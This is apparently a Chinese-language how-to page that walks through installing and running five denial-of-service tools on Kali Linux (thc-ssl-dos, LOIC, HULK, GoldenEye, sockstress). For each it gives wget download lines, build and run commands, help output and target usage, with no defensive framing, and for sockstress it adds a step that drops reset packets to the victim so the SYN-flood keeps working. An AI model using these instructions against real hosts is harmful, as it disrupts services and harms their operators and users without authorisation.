1、SSL连接耗尽工具（thc-ssl-dos）

root@kali:~/DDoS_tool/web# thc-ssl-dos -h
     ______________ ___  _________
     \__    ___/   |   \ \_   ___ \
       |    | /    ~    \/    \  \/
       |    | \    Y    /\     \____
       |____|  \___|_  /  \______  /
                     \/          \/
            http://www.thc.org
          Twitter @hackerschoice
Greetingz: the french underground
./thc-ssl-dos [options] <ip> <port>                                  #使用实例：thc-ssl-dos 192.168.57.100 80
  -h      help                                                   
  -l <n>  Limit parallel connections [default: 400]                #并发连接数

2、LOIC低轨道加农炮

apt install mono-xbuild mono-mcs mono-devel                          #安装依赖环境
wget https://codeload.github.com/NewEraCracker/LOIC/zip/master                #下载LOIC程序
unzip master 
cd LOIC-master/
./loic-net4.5.sh run                                     #运行程序

image.png


3、HULK（Http Unbearable Load King） 7层DoS工具

wget https://packetstormsecurity.com/files/download/112856/hulk.zip         #hulk下载
unzip hulk.zip
root@kali:~/DDoS_tool/web# python hulk.py
---------------------------------------------------
USAGE: python hulk.py <url>
you can add "safe" after url, to autoshut after dos

4、GoldenEye 7层DoS工具

wget https://github.com/jseidl/GoldenEye/archive/master.zip 
unzip master.zip
root@kali:~/DDoS_tool/GoldenEye-master#  python goldeneye.py
Please supply at least the URL
-----------------------------------------------------------------------------------------------------------
GoldenEye v2.1 by Jan Seidl <jseidl@wroot.org>
 USAGE: ./goldeneye.py <url> [OPTIONS]
 OPTIONS:
         Flag                   Description                                             Default
         -u, --useragents       File with user-agents to use                            (default: randomly generated)
         -w, --workers          Number of concurrent workers                            (default: 10)
         -s, --sockets          Number of concurrent sockets                            (default: 500)
         -m, --method           HTTP Method to use 'get' or 'post'  or 'random'         (default: get)
         -n, --nosslcheck       Do not verify SSL Certificate                           (default: True)
         -d, --debug            Enable Debug Mode [more verbose output]                 (default: False)
         -h, --help             Shows this help
-----------------------------------------------------------------------------------------------------------

5、sockstress Syn-flood工具(基于C语言开发的）

wget https://codeload.github.com/defuse/sockstress/zip/master 
unzip master
cd sockstress-master/
 gcc -Wall -c sockstress.c
gcc -pthread -o sockstress sockstress.o 
./drop.sh IP                                                                       #跟上要***的目标（防止对目标发送RST包，避免被目标关闭连接）
./sockstress -h                                                                    #查看帮助信息
SOCKSTRESS - CVE-2008-4609 | havoc@defuse.ca
Usage: ./sockstress <ip>:<port> <interface> [-p payload] [-d delay]
        <ip>            Victim IP address
        <port>          Victim port
        <interface>     Local network interface (e.g. eth0)
        -p payload      File containing data to send after connecting
                        Payload can be at most 1000 bytes
        -d delay        Microseconds between SYN packets (default: 10000)
        -h              Help menu
 **You must configure your firewall to drop TCP reset packets sent to <ip>**